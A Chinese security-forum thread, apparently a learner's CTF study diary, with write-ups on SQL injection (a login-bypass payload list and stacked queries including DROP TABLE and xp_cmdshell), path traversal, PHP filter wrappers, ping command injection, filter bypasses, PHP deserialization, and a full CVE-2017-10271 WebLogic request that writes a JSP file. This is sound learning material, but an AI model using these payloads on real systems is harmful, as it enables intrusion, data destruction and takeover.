安全矩阵

 找回密码
 立即注册
搜索
查看: 17176|回复: 50

马鹏雲的学习日记

[复制链接]

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
发表于 2021-9-18 19:41:04 | 显示全部楼层 |阅读模式
2021年9月18日开帖
回复

使用道具 举报

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-9-18 20:48:34 | 显示全部楼层
今天在bugku上尝试了两道CTF的题:
①矛盾:
打开这道题之后,在页面上是一段PHP的代码,经过观察后发现,这个页面似乎是get方式的请求方式,并且在代码段中发现如果令变量num的值为1的时候,即可输出flag,于是我尝试在链接后加上?num=1,但是页面没有什么明显的变化,所以猜测可能不是数值型的,于是尝试在1两侧加上双引号,将其变为字符串型,这次页面中出现了“1”的内容。
所以就比较奇怪,在1后面尝试随便加了几个字符串,突然就出现了flag了(但是在提交flag的时候一定要注意有没有多复制了东西,我就是因为多复制了一个空格,所以一直提交flag错误)
②你必须让他停下:
打开页面后,发现有一行提示:Stop at panda ! u will get flag
页面一直在刷新,过一段时间发现是图片一直在刷新,然后我尝试用burpsuite抓包拦截,但是感觉好慢,于是我尝试检查页面源代码,发现每一次刷新都有变化:图片名称会变化,继续尝试几次后发现当图片名称为10.jpg时,出现了flag。
总结:真的是需要多刷题,有些题是真的想不到怎么解
回复

使用道具 举报

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-9-19 20:38:59 | 显示全部楼层
CTF:
①: [极客大挑战 2019]EasySQL 1

打开之后发现是一个登录页面,参考题目,怀疑是SQL注入

随便在登录页面输入了几个弱口令后,发现不太行

于是采取用SQL注入的方式

当跳转到验证失败的页面的URL为:

> http://348359b8-d26f-4af5-961b-2 ... 2312&password=1       

于是尝试将check.php后面的语句修改为万能密码:

```text
username=admin' or '1'='1&password=admin' or '1'='1
```

即可成功登录



> **万能密码表**(收集于网络)
>
> 语言 万能密码  PHP 'or 1=1/*
> "or "a"="a
> "or 1=1--
> "or"="
> "or"="a'='a
> "or1=1--
> "or=or"
> ''or'='or'
> ') or ('a'='a
> '.).or.('.a.'='.a
> 'or 1=1
> 'or 1=1--
> 'or 1=1/*
> 'or"="a'='a
> 'or' '1'='1'
> 'or''='
> 'or''=''or''='
> 'or'='1'
> 'or'='or'
> 'or.'a.'='a
> 'or1=1--
> 1'or'1'='1
> a'or' 1=1--
> a'or'1=1--
> or 'a'='a'
> or 1=1--
> or1=1--  asp aspx "or "a"="a
> '.).or.('.a.'='.a
> or 1=1--
> 'or 1=1--
> a'or' 1=1--
> "or 1=1--
> 'or.'a.'='a
> "or"="a'='a
> 'or''='
> or'='or'  jsp 1'or'1'='1
> admin' or 1=1/*

②:## [HCTF 2018]WarmUp 1

打开这道题发现是一个静态的图片:![1632042542608](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\1632042542608.png)

接着我试着进行检查其页面信息,发现有一段被注释的内容:

![1632042660830](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\1632042660830.png)

尝试在URL后面加上:?file=source.php

得到一段PHP的源代码,查看过代码后发现:

尝试将file的值修改为hint.php,得到如下内容:

flag not here,and flag in ffffllllaaaagggg

大概是已经很接近最后结果了吧

将file的值修改为:hint.php?../../../../../ffffllllaaaagggg

得到flag
回复

使用道具 举报

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-9-21 15:13:32 | 显示全部楼层
补一下昨天的:
做了两道题:
①[强网杯 2019]随便注
这道题看名字就知道是SQL注入的题目,但是尝试过几种常见的方法之后,发现不太行,看了看网上关于SQL注入的总结之后,发现这是堆叠查询的应用。(因为在尝试的过程中发现,这个查询框中做了黑名单过滤)
PS:堆叠查询的学习总结:
原理:
在SQL中我们知道分号(;)代表着一段SQL语句的结束。但是当我们在书写SQL语句时,在一个分号后面书写的SQL语句却同样可以顺利的执行,这就是堆叠查询(注入)。
局限性(引用):
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
个人的测试环境是php+mysql,是可以执行的,此处对于mysql/php存在质疑。但个人估计原文作者可能与我的版本的不同的原因。虽然我们前面提到了堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。
实例:

    一. Mysql

(1)新建一个表 select * from users where id=1;create table test like users;

执行成功,我们再去看一下是否新建成功表。

    2. 删除上面新建的test表select * from users where id=1;drop table test;

    3. 查询数据select * from users where id=1;select 1,2,3;

加载文件  select * from users where id=1;select load_file('c:/tmpupbbn.php');

    4. 修改数据select * from users where id=1;insert into users(id,username,password)

values('100','new','new');

    二. Sql server

    1. 增加数据表select * from test;create table sc3(ss CHAR(8));

    2. 删除数据表select * from test;drop table sc3;

(3)查询数据select 1,2,3;select * from test;

    4. 修改数据select * from test;update test set name='test' where id=3;

    5. sqlserver中最为重要的存储过程的执行

select * from test where id=1;exec master..xp_cmdshell 'ipconfig'

    三. Oracle

上面的介绍中我们已经提及,oracle不能使用堆叠注入,可以从图中看到,当有两条语句在同一行时,直接报错。无效字符。后面的就不往下继续尝试了。

    四. Postgresql

    1. 新建一个表    select * from user_test;create table user_data(id DATE);

可以看到user_data表已经建好。

    2. 删除上面新建的user_data表select * from user_test;delete from user_data;

    3. 查询数据select * from user_test;select 1,2,3;

    4. 修改数据 select * from user_test;update user_test set name='modify' where name='张三'
②:[ACTF2020 新生赛]Include
这道题是文件包含类型的题目,这道题中用到的好像是PHP伪协议
由于是PHP文件,于是用php://filter/read=convert.base64-encode/resource=xxx.php来读取文件源代码(得到用base64编码的源代码)
PHP伪协议的基本应用:
1、利用base64获得源码
2、通过读写编码实行绕过操作
使用方法:
resource=<要过滤的数据流>        指定了你要筛选过滤的数据流。        必选
read=<读链的筛选列表>        可以设定一个或多个过滤器名称,以管道符(|)分隔。        可选
write=<写链的筛选列表>        可以设定一个或多个过滤器名称,以管道符(|)分隔。        可选
<;两个链的筛选列表>        任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。         
回复

使用道具 举报

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-9-21 22:01:33 | 显示全部楼层
CTF:
① [SUCTF 2019]EasySQL

堆叠查询:

> 1;show databases;#
>
> 1;show tables;#
>
> *,1(内置SQL语句为:select *,1 from flag)

② [极客大挑战 2019]Secret File

先查看源代码,找到了一个隐藏的文件

进入之后,点击select的按钮,跳转到下一个页面:end.php

但是页面上显示:查阅结束   没看清么?回去再仔细看看吧

于是返回到上一个页面,此时用burpsuite拦截后,将拦截到的数据包发送到repeater模块中,点击go,得到一个返回的页面:secr3t.php  

③[ACTF2020 新生赛]Exec

进入这一题的页面之后,能看出来是ping一个IP地址,于是猜测就是命令执行的漏洞,于是用管道符|来查找flag:

|:直接执行后面的语句

> 127.0.0.1 | cat /flag

||:如果前面的命令为错的,那么就会执行后面的语句:

> aaa || cat /flag

&:前后的语句都要执行

> aaa & cat /flag

&&:前后若有一个为错,啧都不执行

Linux中可以尝试使用分号;(与&的作用类似)
回复

使用道具 举报

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-9-22 22:43:01 | 显示全部楼层
今天尝试了一些cobaltstrike的beacon命令

做了几道CTF的题(但是并没有什么原理上的东西,只是有些思路上的东西):
①[极客大挑战 2019]Knife
直接用蚁剑连接之后,查看flag所在的位置
②[GXYCTF2019]Ping Ping Ping
可以用变量拼接来绕过过滤
学到了几种绕过空格的方法:
        ${IFS}替换
        $IFS$1替换
        ${IFS替换
        %20替换
        <和<>重定向符替换
        %09替换
如果cat被过滤,可以用下边的方法进行绕过~~

    (1)more:一页一页的显示档案内容

    (2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页

    (3)head:查看头几行

    (4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示

    (5)tail:查看尾几行

    (6)nl:显示的时候,顺便输出行号

    (7)od:以二进制的方式读取档案内容

    (8)vi:一种编辑器,这个也可以查看

    (9)vim:一种编辑器,这个也可以查看

    (10)sort:可以查看

    (11)uniq:可以查看

    (12)file -f:报错出具体内容
回复

使用道具 举报

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-9-23 20:30:12 | 显示全部楼层
#### [极客大挑战 2019]Http

这道题根据指南试了好久才试出来

首先先抓包,在burpsuite的target中找到一个/Secret.php的连接,将其发送到repeater模块中,点击send,在response中看到:

> It doesn't come from 'https://www.Sycsecret.com'

因此,我们尝试在request中添加:

> Referer:https://www.Sycsecret.com
>
> ![image-20210923110813167](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20210923110813167.png)

此时在response中看到:

> Please use "Syclover" browser

在request中将user-agent修改为:Syclover" browser

![image-20210923110853105](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20210923110853105.png)

在response中返回了:No!!! you can only read this locally!!!

我们在request中添加:X-Forwarded-For: 127.0.0.1

![image-20210923111028280](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20210923111028280.png)

即可在response中看到flag了

---

#### HTTP

感觉这道题还是比较考验对burpsuite的使用以及http的理解,所以在这里做一下资料的总结:

##### 完整的HTTP请求

> GET  /sample.jsp   HTTP/1.1                    //请求行
>
> User-Agent:Mozila/4.0(compatible;MSIE5.01;Window NT5.0)   //请求头
>
> Accept:image/gif.image/jpeg,*/*      //请求头:指定客户端能够接收的内容格式类型
>
> Accept-Language:zh-cn                   //请求头:指定客户端能够接受的语言类型
>
> Connection:Keep-Alive                    //请求头:是否开启持久连接(keepalive)
>
> Host:localhost                                  //请求头:服务器域名
>
> Accept-Encoding:gzip,deflate          //请求头:指定客户端能够接受的编码类型
>
> //注意这里有空的换行
>
> username=jinqiao&password=1234   //请求体
>
> ![image-20210923115425925](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20210923115425925.png)
然后对请求包中的各项内容都进行的简单的学习(具体内容太长了。。。)
回复

使用道具 举报

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-9-23 20:30:37 | 显示全部楼层
#### [极客大挑战 2019]Http

这道题根据指南试了好久才试出来

首先先抓包,在burpsuite的target中找到一个/Secret.php的连接,将其发送到repeater模块中,点击send,在response中看到:

> It doesn't come from 'https://www.Sycsecret.com'

因此,我们尝试在request中添加:

> Referer:https://www.Sycsecret.com
>
> ![image-20210923110813167](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20210923110813167.png)

此时在response中看到:

> Please use "Syclover" browser

在request中将user-agent修改为:Syclover" browser

![image-20210923110853105](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20210923110853105.png)

在response中返回了:No!!! you can only read this locally!!!

我们在request中添加:X-Forwarded-For: 127.0.0.1

![image-20210923111028280](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20210923111028280.png)

即可在response中看到flag了

---

#### HTTP

感觉这道题还是比较考验对burpsuite的使用以及http的理解,所以在这里做一下资料的总结:

##### 完整的HTTP请求

> GET  /sample.jsp   HTTP/1.1                    //请求行
>
> User-Agent:Mozila/4.0(compatible;MSIE5.01;Window NT5.0)   //请求头
>
> Accept:image/gif.image/jpeg,*/*      //请求头:指定客户端能够接收的内容格式类型
>
> Accept-Language:zh-cn                   //请求头:指定客户端能够接受的语言类型
>
> Connection:Keep-Alive                    //请求头:是否开启持久连接(keepalive)
>
> Host:localhost                                  //请求头:服务器域名
>
> Accept-Encoding:gzip,deflate          //请求头:指定客户端能够接受的编码类型
>
> //注意这里有空的换行
>
> username=jinqiao&password=1234   //请求体
>
> ![image-20210923115425925](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20210923115425925.png)
然后对请求包中的各项内容都进行的简单的学习(具体内容太长了。。。)
回复

使用道具 举报

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-9-25 21:50:54 | 显示全部楼层
今天尝试了对weblogic的反序列化漏洞的复现(但是并不是怎么成功):
CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。
在URL后面添加bea_wls_internal/test.jsp即可验证网址是否具有反序列化漏洞
具体利用就是用burpsuite抓包后,将数据包的所有内容都替换为:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter">
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println">
<string>
    <![CDATA[
<% out.print("webshell"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>
即可利用这种方式进行漏洞的利用
回复

使用道具 举报

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-9-26 21:14:17 | 显示全部楼层
CTF:
[极客大挑战 2019]PHP
首先根据刚进去的页面判断,该网站存在备份文件,于是用御剑去扫,扫出来了一个www.zip文件(好像备份文件一般都是.zip格式),通过下载后发现有该网站的备份文件
打开后查看index.php文件(入口文件),发现其中有这么一段代码:

  1. <?php
  2.     include 'class.php';
  3.     $select = $_GET['select'];
  4.     $res=unserialize(@$select);
  5.     ?>
复制代码

由此可见大概是有了序列化的操作:用get传递一个select参数,随后将之反序列化(所以我们考虑反序列化漏洞)
由于:include 'class.php';
因此我们打开class.php文件进行查看,其中有这么一段代码:
  1.     function __destruct(){
  2.         if ($this->password != 100) {
  3.             echo "</br>NO!!!hacker!!!</br>";
  4.             echo "You name is: ";
  5.             echo $this->username;echo "</br>";
  6.             echo "You password is: ";
  7.             echo $this->password;echo "</br>";
  8.             die();
  9.         }
  10.         if ($this->username === 'admin') {
  11.             global $flag;
  12.             echo $flag;
  13.         }else{
  14.             echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
  15.             die();
复制代码

我们可以知道:当username为admin,password为100时,才会显示出flag
今天从网上学到一种构造序列化语句的方法:
  1. <?php

  2. class Name{
  3.     private $username = 'nonono';
  4.     private $password = 'yesyes';

  5.     public function __construct($username,$password){
  6.         $this->username = $username;
  7.         $this->password = $password;
  8.     }
  9. }
  10. $a = new Name('admin', 100);
  11. var_dump(serialize($a));

  12. ?>
复制代码

得到如下序列化语句:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
因此我们将序列化这样设置
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
不过还是没有结束,因为这个声明变量是private
private
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度
我们再次改造一下序列化
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
所以我们构造的payload如下:
  1. (目标网址)/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}
复制代码
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-19 03:28 , Processed in 0.017554 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表